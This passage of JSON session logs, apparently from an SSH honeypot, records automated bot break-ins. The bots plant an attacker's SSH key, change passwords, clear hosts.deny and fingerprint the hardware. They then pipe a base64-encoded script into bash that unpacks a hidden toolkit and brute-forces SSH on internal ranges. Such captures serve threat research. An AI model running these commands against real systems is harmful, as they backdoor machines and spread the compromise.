\"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T06:17:00.116545+00:00","kind":"output","latency_ms":489,"data":""},{"seq":48,"at":"2026-08-23T06:17:08.122532+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T06:17:08.123721+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"#Admin123","method":"password","accepted":true,"tier":"other"}]} {"id":"70fe1f9e-b460-4fb0-8891-63a61305e666","name":"wistful-peaty-caribou","protocol":"ssh","channel_kind":"exec","src_ip":"136.232.11.10","src_port":43268,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":715,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T06:16:26.327703+00:00","ended_at":"2026-08-23T06:16:26.559283+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4025,"events":[{"seq":1,"at":"2026-08-23T06:15:27.296909+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T06:15:28.016652+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T06:15:28.580814+00:00","kind":"output","latency_ms":550,"data":""},{"seq":4,"at":"2026-08-23T06:15:33.819651+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-23T06:15:34.452999+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-23T06:15:35.170062+00:00","kind":"input","latency_ms":null,"data":"echo \"root:G8YT2A6uqGbG\"|chpasswd|bash"},{"seq":7,"at":"2026-08-23T06:15:35.870843+00:00","kind":"output","latency_ms":430,"data":""},{"seq":8,"at":"2026-08-23T06:15:35.882342+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":9,"at":"2026-08-23T06:15:36.597115+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-23T06:15:37.429942+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-23T06:15:38.141567+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-23T06:15:39.224521+00:00","kind":"output","latency_ms":510,"data":"15888 3124 902 13176 228 4150"},{"seq":13,"at":"2026-08-23T06:15:39.940434+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-23T06:15:40.856507+00:00","kind":"output","latency_ms":622,"data":"-rwxr-xr-x 1 root root 147K Aug 20 03:09 /usr/bin/ls"},{"seq":15,"at":"2026-08-23T06:15:41.570358+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T06:15:41.842745+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-23T06:15:42.558029+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-23T06:15:43.194202+00:00","kind":"output","latency_ms":null,"data":" 06:15:43 up 3 days, 3:05, 0 user, load average: 0.06, 0.05, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-23T06:15:43.910360+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-23T06:15:44.355134+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-23T06:15:45.071160+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-23T06:15:45.826313+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-23T06:15:46.542998+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-23T06:15:47.135540+00:00","kind":"output","latency_ms":null,"data":"top - 06:15:47 up 3 days, 3:05, 0 user, load average: 0.06, 0.05, 0.04\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-23T06:15:47.849915+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-23T06:15:48.618084+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-23T06:15:49.334924+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-23T06:15:50.225322+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-23T06:15:50.942396+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-23T06:15:51.248793+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":31,"at":"2026-08-23T06:15:51.964667+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-23T06:15:53.511518+00:00","kind":"output","latency_ms":911,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":33,"at":"2026-08-23T06:15:54.227882+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-23T06:15:54.965948+00:00","kind":"output","latency_ms":411,"data":"24G"},{"seq":35,"at":"2026-08-23T06:16:03.423063+00:00","kind":"input","latency_ms":null,"data":"echo \"root Aa654321\" > /tmp/up.txt"},{"seq":36,"at":"2026-08-23T06:16:04.136168+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":37,"at":"2026-08-23T06:16:05.364455+00:00","kind":"output","latency_ms":628,"data":""},{"seq":38,"at":"2026-08-23T06:16:06.690081+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T06:16:08.157897+00:00","kind":"output","latency_ms":586,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T06:16:08.873561+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T06:16:09.693179+00:00","kind":"output","latency_ms":548,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":42,"at":"2026-08-23T06:16:10.408911+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T06:16:11.122458+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T06:16:12.504023+00:00","kind":"output","latency_ms":608,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T06:16:13.218968+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":46,"at":"2026-08-23T06:16:14.371174+00:00","kind":"output","latency_ms":823,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":47,"at":"2026-08-23T06:16:15.087448+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":48,"at":"2026-08-23T06:16:16.279846+00:00","kind":"output","latency_ms":557,"data":""},{"seq":49,"at":"2026-08-23T06:16:26.329012+00:00","kind":"input","latency_ms":null,"data":"whoami"}],"credentials":[{"username":"root","password":"Aa654321","method":"password","accepted":true,"tier":"other"}]} {"id":"bde62863-ed5a-4eff-8e47-810f31050852","name":"emerald-cheerful-otter","protocol":"ssh","channel_kind":"exec","src_ip":"34.175.118.185","src_port":60072,"username":"tata","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":750,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T05:42:25.785134+00:00","ended_at":"2026-08-23T05:42:26.045854+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3482,"events":[{"seq":1,"at":"2026-08-23T05:41:46.044565+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T05:41:46.789679+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T05:41:52.284723+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T05:41:52.285033+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T05:41:53.038361+00:00","kind":"input","latency_ms":null,"data":"echo -e \"tata\\nacoVpJAVq1Dj\\nacoVpJAVq1Dj\"|passwd|bash"},{"seq":6,"at":"2026-08-23T05:41:53.790036+00:00","kind":"input","latency_ms":null,"data":"echo \"tata\\nacoVpJAVq1Dj\\nacoVpJAVq1Dj\\n\"|passwd"},{"seq":7,"at":"2026-08-23T05:41:54.540199+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T05:41:54.540862+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T05:41:55.291373+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T05:41:55.970523+00:00","kind":"output","latency_ms":677,"data":"15888 5421 812 12565 0 0"},{"seq":11,"at":"2026-08-23T05:41:56.528292+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T05:41:57.028828+00:00","kind":"output","latency_ms":498,"data":"lrwxrwxrwx 1 root root 7 Jan 12 2026 /usr/bin/ls -> /bin/ls"},{"seq":13,"at":"2026-08-23T05:41:57.792163+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T05:41:57.792714+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T05:41:58.540859+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T05:41:58.541400+00:00","kind":"output","latency_ms":null,"data":" 05:41:58 up 3 days, 2:32, 0 user, load average: 0.31, 0.32, 0.36\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T05:41:59.296525+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T05:41:59.297224+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T05:42:00.050049+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T05:42:00.050717+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T05:42:00.780718+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T05:42:00.781237+00:00","kind":"output","latency_ms":null,"data":"top - 05:42:00 up 3 days, 2:32, 0 user, load average: 0.31, 0.32, 0.36\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T05:42:01.531533+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T05:42:01.532215+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T05:42:02.280238+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T05:42:02.280703+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T05:42:03.031288+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T05:42:03.033748+00:00","kind":"output","latency_ms":null,"data":"tata"},{"seq":29,"at":"2026-08-23T05:42:03.779323+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T05:42:04.336805+00:00","kind":"output","latency_ms":556,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-23T05:42:05.030563+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T05:42:05.661570+00:00","kind":"output","latency_ms":630,"data":"24G"},{"seq":33,"at":"2026-08-23T05:42:07.790992+00:00","kind":"input","latency_ms":null,"data":"echo \"tata tata\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T05:42:08.530778+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T05:42:09.135744+00:00","kind":"output","latency_ms":604,"data":""},{"seq":36,"at":"2026-08-23T05:42:11.279672+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T05:42:11.778341+00:00","kind":"output","latency_ms":498,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T05:42:12.544424+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T05:42:13.199363+00:00","kind":"output","latency_ms":652,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T05:42:13.794139+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T05:42:14.530474+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T05:42:14.965819+00:00","kind":"output","latency_ms":434,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T05:42:15.528359+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T05:42:16.112121+00:00","kind":"output","latency_ms":582,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T05:42:16.782030+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T05:42:17.158146+00:00","kind":"output","latency_ms":375,"data":""},{"seq":47,"at":"2026-08-23T05:42:25.786059+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T05:42:25.786517+00:00","kind":"output","latency_ms":null,"data":"tata"}],"credentials":[{"username":"tata","password":"tata","method":"password","accepted":true,"tier":"other"}]} {"id":"d0bc5787-46a5-4e4a-8fcb-9ae66d4739cf","name":"earnest-rambling-ocelot","protocol":"ssh","channel_kind":"exec","src_ip":"20.102.98.53","src_port":49848,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":65,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T04:52:11.093291+00:00","ended_at":"2026-08-23T04:52:11.099503+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3537,"events":[{"seq":1,"at":"2026-08-23T04:51:53.281595+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T04:51:53.344546+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T04:51:55.928605+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T04:51:55.929046+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T04:51:55.994070+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Y8vWS58OUafM\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T04:51:56.057108+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-23T04:51:56.120827+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T04:51:56.121475+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T04:51:56.187062+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T04:51:56.885489+00:00","kind":"output","latency_ms":696,"data":"15988 512 11234 311 4341 1024"},{"seq":11,"at":"2026-08-23T04:51:56.949140+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T04:51:57.838490+00:00","kind":"output","latency_ms":888,"data":"-rwxr-xr-x 1 root root 148K Aug 23 04:51 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T04:51:57.903659+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T04:51:57.904342+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T04:51:57.968722+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T04:51:57.969573+00:00","kind":"output","latency_ms":null,"data":" 04:51:57 up 3 days, 1:42, 0 user, load average: 0.16, 0.15, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T04:51:58.033606+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T04:51:58.034250+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T04:51:58.098176+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T04:51:58.098880+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T04:51:58.163735+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T04:51:58.164361+00:00","kind":"output","latency_ms":null,"data":"top - 04:51:58 up 3 days, 1:42, 0 user, load average: 0.16, 0.15, 0.1\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T04:51:58.229760+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T04:51:58.231306+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T04:51:58.296706+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T04:51:58.297358+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T04:51:58.357631+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T04:51:58.358493+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-23T04:51:58.422190+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T04:51:58.928454+00:00","kind":"output","latency_ms":505,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-23T04:51:58.993221+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T04:51:59.417214+00:00","kind":"output","latency_ms":422,"data":"24G"},{"seq":33,"at":"2026-08-23T04:51:59.858887+00:00","kind":"input","latency_ms":null,"data":"echo \"root prueba123\" > 